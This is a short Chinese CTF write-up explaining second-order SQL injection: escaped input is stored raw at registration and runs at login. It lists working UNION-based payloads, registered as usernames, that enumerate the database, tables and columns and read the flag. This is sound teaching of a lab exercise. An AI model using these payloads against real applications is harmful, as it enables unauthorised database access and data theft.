这题主要考察的是sql的二次注入,即在第一次数据库插入数据的时候,使用了一些函数: addslashes 、get_magic_quotes_gpc等,对其中的特殊字符进行了转义,但是 "\ " 并不会插入到数据库中,在写入数据库的时候还是暴保留了原来的数据,存入到数据库之后,在下一次查询的时候,直接取出了恶意数据,就会造成二次注入
如:我注册了一个:1' union select database()# 的账号
即使会对转义变成:1 \' union select database()#
但是写入数据库的时候还是以 1' union select database()#
写入的。
当我登进去的时候,就会进行用户名查询,执行了 1' union select database()# 这条语句。造成数据库泄露。
注册账户为:1' union select database()# 密码:123
成功爆出了数据库ctftraining。然后面都是这样操作,以sql语句为用户名注册,然后再登录

查询表:
1' union select table_name from information_schema.tables#
flag表
查询列:
1' union select column_name from information_schema.columns where table_name='flag'#
flag列
查flag:
1' union select flag from flag#
